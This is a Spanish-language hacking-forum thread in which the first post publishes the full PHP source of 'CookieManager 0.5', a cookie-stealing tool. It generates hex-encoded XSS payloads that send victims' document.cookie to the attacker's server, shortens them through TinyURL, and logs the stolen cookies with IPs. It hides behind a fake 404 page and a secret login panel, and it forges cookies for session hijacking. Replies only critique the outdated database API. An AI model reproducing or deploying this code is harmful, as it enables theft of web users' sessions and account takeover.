Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: BigBear en 6 Febrero 2015, 17:46 pm



Título: [PHP] CookieManager 0.5
Publicado por: BigBear en 6 Febrero 2015, 17:46 pm
Un simple programa en PHP para ayudar con la vulnerabilidad XSS , en este programa tienen las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

Un video con ejemplos de uso :

AP-2bkeFjpc

El codigo :

Código
  1. <?php
  2.  
  3. // CookieManager 0.5
  4. // (C) Doddy Hackman 2015
  5.  
  6. //Datos para el login
  7.  
  8. $username = "admin";
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  10.  
  11. //
  12.  
  13. //Datos para la DB
  14.  
  15. $host  = "localhost";
  16. $userw = "root";
  17. $passw = "";
  18. $db    = "cookies";
  19.  
  20. //
  21.  
  22.  
  23. // Functions
  24.  
  25. function hex_encode($text)
  26. {
  27.    $texto = chunk_split(bin2hex($text), 2, '%');
  28.    return $texto = '%' . substr($texto, 0, strlen($texto) - 1);
  29. }
  30.  
  31. function parsear_cookie($leyendo)
  32. {
  33.  
  34.    $leyendo   = str_replace("comment=", "", $leyendo);
  35.    $leyendo   = str_replace("Set-Cookie: ", "", $leyendo);
  36.    $contenido = explode(";", $leyendo);
  37.  
  38.    $nombre       = "";
  39.    $valor_cookie = "";
  40.    $expires      = "";
  41.    $path         = "";
  42.    $domain       = "";
  43.    $secure       = "false";
  44.    $httponly     = "false";
  45.  
  46.    foreach ($contenido as $valor) {
  47.  
  48.        if (preg_match("/expires=(.*)/", $valor, $regex)) {
  49.            $expires = $regex[1];
  50.        }
  51.  
  52.        elseif (preg_match("/path=(.*)/", $valor, $regex)) {
  53.            $path = $regex[1];
  54.        } elseif (preg_match("/domain=(.*)/", $valor, $regex)) {
  55.            $domain = $regex[1];
  56.        } elseif (preg_match("/secure=(.*)/", $valor, $regex)) {
  57.            $secure = $regex[1];
  58.        } elseif (preg_match("/httponly=(.*)/", $valor, $regex)) {
  59.            $httponly = $regex[1];
  60.        }
  61.  
  62.        else {
  63.  
  64.            if (preg_match("/(.*)=(.*)/", $valor, $regex)) {
  65.                $nombre       = $regex[1];
  66.                $valor_cookie = $regex[2];
  67.            }
  68.  
  69.        }
  70.  
  71.    }
  72.  
  73.    return array(
  74.        $nombre,
  75.        $valor_cookie,
  76.        $expires,
  77.        $path,
  78.        $domain,
  79.        $secure,
  80.        $httponly
  81.    );
  82.  
  83. }
  84.  
  85. function ver_cookies_de_pagina($pagina)
  86. {
  87.    $cookies = "";
  88.    if (!function_exists('curl_exec')) {
  89.        $options = array(
  90.            'http' => array(
  91.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  92.            )
  93.        );
  94.        $context = stream_context_create($options);
  95.        file_get_contents($pagina);
  96.        foreach ($http_response_header as $valores) {
  97.            if (preg_match("/Set-Cookie/", $valores)) {
  98.                $valores = str_replace("Set-Cookie:", "", $valores);
  99.                $cookies = $cookies . $valores . "<br>";
  100.            }
  101.        }
  102.    } else {
  103.        $nave = curl_init($pagina);
  104.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  105.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, 1);
  106.        curl_setopt($nave, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
  107.        curl_setopt($nave, CURLOPT_HEADER, 1);
  108.        curl_setopt($nave, CURLOPT_NOBODY, 1);
  109.        $contenido = curl_exec($nave);
  110.        curl_close($nave);
  111.        $leyendo = explode("\n", trim($contenido));
  112.  
  113.        foreach ($leyendo as $valores) {
  114.            if (preg_match("/Set-Cookie/", $valores)) {
  115.                $valores = str_replace("Set-Cookie:", "", $valores);
  116.                $cookies = $cookies . $valores . "<br>";
  117.            }
  118.        }
  119.    }
  120.    return $cookies;
  121. }
  122.  
  123. function toma($target)
  124. {
  125.    $code = "";
  126.    if (function_exists('curl_exec')) {
  127.        $nave = curl_init($target);
  128.        curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  129.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  130.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
  131.        $code = curl_exec($nave);
  132.    } else {
  133.        $options = array(
  134.            'http' => array(
  135.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  136.            )
  137.        );
  138.        $context = stream_context_create($options);
  139.        $code    = file_get_contents($target);
  140.    }
  141.    return $code;
  142. }
  143.  
  144. //
  145.  
  146.  
  147. mysql_connect($host, $userw, $passw);
  148.  
  149. if (isset($_GET['id'])) {
  150.  
  151.    if (empty($_GET['id'])) {
  152.        error();
  153.    }
  154.  
  155.    $dia = mysql_real_escape_string(date("d.m.Y"));
  156.    $ip  = mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
  157.  
  158.    if ($ip == "::1") {
  159.        $ip = "127.0.0.1";
  160.    }
  161.  
  162.    $info = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
  163.    $ref  = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
  164.  
  165.    $cookie = mysql_real_escape_string($_GET['id']);
  166.  
  167.    mysql_query("INSERT INTO todo(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
  168.  
  169.    header("Location:http://www.google.com.ar");
  170.  
  171. }
  172.  
  173. elseif (isset($_COOKIE['portal'])) {
  174.  
  175.    $st = base64_decode($_COOKIE['portal']);
  176.  
  177.    $plit = explode("@", $st);
  178.    $user = $plit[0];
  179.    $pass = $plit[1];
  180.  
  181.    if ($user == $username and $pass == $password) {
  182.  
  183.        if (isset($_POST['makecookies'])) {
  184.            //setcookie($_POST['name_cookie'],$_POST['value_cookie'],$_POST['expire_cookie'],$_POST['path_cookie'],$_POST['domain_cookie'],$_POST['secure_cookie'],$_POST['httponline_cookie'])) {
  185.  
  186.            if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) {
  187.                echo "<script>alert('Cookies Maked');</script>";
  188.            } else {
  189.                echo "<script>alert('Error making Cookie');</script>";
  190.            }
  191.        }
  192.  
  193.        echo "<title>CookieManager 0.3</title>";
  194.  
  195.        echo "<STYLE type=text/css>
  196.  
  197. body,a:link {
  198. background-color: #000000;
  199. color:orange;
  200. Courier New;
  201. cursor:crosshair;
  202. font-size: small;
  203. }
  204.  
  205. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  206. font: normal 10px Verdana, Arial, Helvetica,
  207. sans-serif;
  208. background-color:black;
  209. color:orange;
  210. border: solid 1px orange;
  211. border-color:orange
  212. }
  213.  
  214. a:link,a:visited,a:active {
  215. color: orange;
  216. font: normal 10px Verdana, Arial, Helvetica,
  217. sans-serif;
  218. text-decoration: none;
  219. }
  220.  
  221. </style>
  222. ";
  223.  
  224.        $edit_name       = "";
  225.        $edit_value      = "";
  226.        $edit_expire     = "";
  227.        $edit_path       = "";
  228.        $edit_domain     = "";
  229.        $edit_secure     = "";
  230.        $edit_httponline = "";
  231.  
  232.        if (isset($_POST['instalar'])) {
  233.  
  234.            $todo = "create table todo (
  235. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  236. fecha TEXT NOT NULL,
  237. ip TEXT NOT NULL,
  238. info TEXT NOT NULL,
  239. cookie TEXT NOT NULL,
  240. PRIMARY KEY (id));
  241. ";
  242.  
  243.            if (mysql_query($todo)) {
  244.                echo "<script>alert('Installed');</script>";
  245.            } else {
  246.                echo "<script>alert('Error');</script>";
  247.            }
  248.        }
  249.  
  250.        if (mysql_num_rows(mysql_query("show tables like 'todo'"))) {
  251.  
  252.            //
  253.  
  254.            if (isset($_GET['del'])) {
  255.                if (is_numeric($_GET['del'])) {
  256.                    if (@mysql_query("delete from todo where id='" . $_GET['del'] . "'")) {
  257.                        echo "<script>alert('Deleted');</script>";
  258.                    } else {
  259.                        echo "<script>alert('Error');</script>";
  260.                    }
  261.                }
  262.            }
  263.  
  264.            echo "<center>";
  265.            echo "<br><h1>CookieManager</h1><br>";
  266.  
  267.  
  268.            // Cookies Found
  269.  
  270.  
  271.            $re  = mysql_query("select * from todo order by id ASC");
  272.            $con = mysql_num_rows($re);
  273.  
  274.            if ($con == 0) {
  275.                echo "<script>alert('Cookies not found');</script>";
  276.            } else {
  277.  
  278.                echo "<table border=1 width=1100><td width=1100><center><h2>Cookies Found : $con</h2></center></table>";
  279.                echo "<table border=1 width=1100>";
  280.                echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
  281.  
  282.                while ($ver = mysql_fetch_array($re)) {
  283.                    $cookies_view = $ver[4];
  284.                    list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($cookies_view);
  285.  
  286.                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[3]) . "</td>";
  287.                    echo "<td>" . htmlentities($cookies_view) . "</td><td>" . htmlentities($nombre) . "</td><td>" . htmlentities($valor_cookie) . "</td><td><a href=?del=" . htmlentities($ver[0]) . ">Del</a></td><tr>";
  288.  
  289.                }
  290.  
  291.                echo "</table>";
  292.  
  293.            }
  294.  
  295.            //
  296.  
  297.            // Form para target
  298.  
  299.            echo "
  300. <form action='' method=POST>
  301. <center><br><table border=1>
  302. <td><center><h2>Enter Target</h2></center></td><tr>
  303. <td><input type=text size=50 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
  304. <td><input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'><input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
  305. </table></center>
  306. </form>
  307.  
  308. ";
  309.  
  310.            // URLS
  311.  
  312.            if (isset($_POST['generateurl'])) {
  313.                echo "<br><table border=1>
  314. <td><center><h2>URL Generated</h2></center></td><tr>
  315. <td><textarea cols=50 name=code readonly>\n";
  316.                $script         = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
  317.                //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
  318.                $resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script);
  319.                echo htmlentities($resultado_code);
  320.                echo "\n</textarea></td></table>";
  321.            }
  322.            //
  323.  
  324.            // Get Cookies
  325.  
  326.            if (isset($_POST['getcookies'])) {
  327.                echo "<br><table border=1>
  328. <td><center><h2>Console</h2></center></td><tr>
  329. <td><textarea cols=50 rows=10 name=code readonly>\n";
  330.                $resultado_code = ver_cookies_de_pagina($_POST['target']);
  331.                echo htmlentities($resultado_code);
  332.                echo "\n</textarea></td></table>";
  333.  
  334.                $leyendo_esto = split("\n", $resultado_code);
  335.  
  336.                list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($leyendo_esto[0]);
  337.  
  338.                $edit_name       = $nombre;
  339.                $edit_value      = $valor_cookie;
  340.                $edit_expire     = $expires;
  341.                $edit_path       = $path;
  342.                $edit_domain     = $domain;
  343.                $edit_secure     = $secure;
  344.                $edit_httponline = $httponly;
  345.  
  346.            }
  347.  
  348.            //
  349.  
  350.            // Form para crear cookies
  351.  
  352.            echo "
  353. <form action='' method=POST>
  354. <center><br><table border=1>
  355. <td><center><h2>Cookies Maker</h2></center></td><tr>
  356. <td>Name : <input type=text size=50 name=name_cookie value='$edit_name'=></td><tr>
  357. <td>Value : <input type=text size=50 name=value_cookie value='$edit_value'=></td><tr>
  358. <td>Expires : <input type=text size=50 name=expire_cookie value='$edit_expire'=></td><tr>
  359. <td>Path : <input type=text size=50 name=path_cookie value='$edit_path'=></td><tr>
  360. <td>Domain : <input type=text size=50 name=domain_cookie value='$edit_domain'=></td><tr>
  361. <td>Secure : <input type=text size=50 name=secure_cookie value='$edit_secure'=></td><tr>
  362. <td>HTTP Online : <input type=text size=50 name=httponline_cookie value='$edit_httponline'=></td><tr>
  363. <td><input type=submit name=makecookies style='height: 25px; width: 100px' value='Make Cookies'></td>
  364. </table></center>
  365. </form>";
  366.  
  367.            //
  368.  
  369.            //
  370.  
  371.            echo "<br><h1>(C) Doddy Hackman 2015</h1><br><br>";
  372.  
  373.            //
  374.  
  375.        } else {
  376.            echo "
  377. <center><br><br>
  378. <form action='' method=POST>
  379. <h2>Deseas instalar CookieManager ?</h2><br><br>
  380. <input type=submit name=instalar value=Instalar>
  381. </form>";
  382.        }
  383.        exit(1);
  384.    }
  385. } elseif (isset($_POST['login'])) {
  386.    if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  387.        setcookie("portal", base64_encode($_POST['user'] . "@" . md5($_POST['password'])));
  388.        echo "<script>alert('Welcome idiot');</script>";
  389.        echo '<meta http-equiv="refresh" content=0;URL=>';
  390.    } else {
  391.        echo "<script>alert('Continued to participate');</script>";
  392.    }
  393. } elseif (isset($_GET['poraca'])) {
  394.  
  395.    echo "
  396.  
  397. <STYLE type='text/css'>
  398.  
  399. body,input {
  400. background-color: #000000;
  401. color:orange;
  402. font-family:
  403. Courier New;
  404. cursor:crosshair;
  405. font-size: small;
  406. }
  407. </style>
  408.  
  409. <h1><br><center><font color=green>Login</font></center></h1>
  410. <br><br><center>
  411. <form action='' method=POST>
  412. Username : <input type=text name=user><br>
  413. Password : <input type=password name=password><br><br>
  414. <input type=submit name=login value=Enter><br>
  415. </form>
  416. </center><br><br>";
  417. } else {
  418.  
  419.    error();
  420.  
  421. }
  422.  
  423. function error()
  424. {
  425.    echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  426. <html><head>
  427. <title>404 Not Found</title>
  428. </head><body>
  429. <h1>Not Found</h1>
  430. <p>The requested URL was not found on this server.</p>
  431. </body></html>';
  432.    exit(1);
  433. }
  434.  
  435.  
  436.  
  437. // The End ?
  438.  
  439.  
  440. ?>
  441.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge (https://sourceforge.net/projects/cookiestealer/).
Github (https://github.com/DoddyHackman/Cookie_Stealer).


Título: Re: [PHP] CookieManager 0.5
Publicado por: #!drvy en 11 Febrero 2015, 20:48 pm
Si se permiten criticas para la siguiente version :P

  • No uses mysql_ esta obsoleto. Intenta usar mysqli o PDO.
  • Saca el HTML de PHP.. imprimiendo todo con echo pierdes mucho rendimiento.
  • Intenta no forzar configuraciones. Hazlos aleatorios o a elección del usuario (o mejor aun.. ambas). Por ejemplo el user-agent.

Saludos


Título: Re: [PHP] CookieManager 0.5
Publicado por: BigBear en 11 Febrero 2015, 22:25 pm
ok , gracias por las sugerencias.

PD:  la siguiente version hace tiempo que esta terminada donde cambie totalmente el diseño y fixee los 30 XSS que tiene esta version xD.


Título: Re: [PHP] CookieManager 0.5
Publicado por: ElP4nd4N3gro en 12 Febrero 2015, 01:03 am
Qué bueno! sigue así.

De obsoleta MySQL nada.. si aún hay empresas en españa que programan en cobol xD


Título: Re: [PHP] CookieManager 0.5
Publicado por: #!drvy en 12 Febrero 2015, 01:08 am
Citar
De obsoleta MySQL nada.. si aún hay empresas en españa que programan en cobol xD

Me referia a la API...

Cita de: http://php.net/manual/en/function.mysql-connect.php
Warning - This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used.

PD: El hecho de que las empresas usen un dado lenguaje/programa/driver/SO no quiere decir que este no este obsoleto.

Saludos


Título: Re: [PHP] CookieManager 0.5
Publicado por: ElP4nd4N3gro en 12 Febrero 2015, 02:05 am
Me referia a la API...

PD: El hecho de que las empresas usen un dado lenguaje/programa/driver/SO no quiere decir que este no este obsoleto.

Saludos

Por su puesto que no, no quería decir eso. Solo qué dado el poco interés por la seguridad en muchas empresas junto con el alto coste a todos los niveles de las migraciones a sistemas actuales, estos mientras sigan funcionando se suelen dejar cómo están.

y lo que en teoría se queda viejo en la vida real sigue siendo el día a día. no sé si me explico.. bueno un saludo!!


Título: Re: [PHP] CookieManager 0.5
Publicado por: engel lex en 12 Febrero 2015, 18:45 pm
Por su puesto que no, no quería decir eso. Solo qué dado el poco interés por la seguridad en muchas empresas junto con el alto coste a todos los niveles de las migraciones a sistemas actuales, estos mientras sigan funcionando se suelen dejar cómo están.

y lo que en teoría se queda viejo en la vida real sigue siendo el día a día. no sé si me explico.. bueno un saludo!!

en un proyecto activo, si es obsoleta o no, no lo dicen los usuarios, lo dicen los desarrolladores...

http://php.net/manual/en/function.mysql-connect.php (http://php.net/manual/en/function.mysql-connect.php)

lee el gran aviso rojo... en 5.5.0 será removido...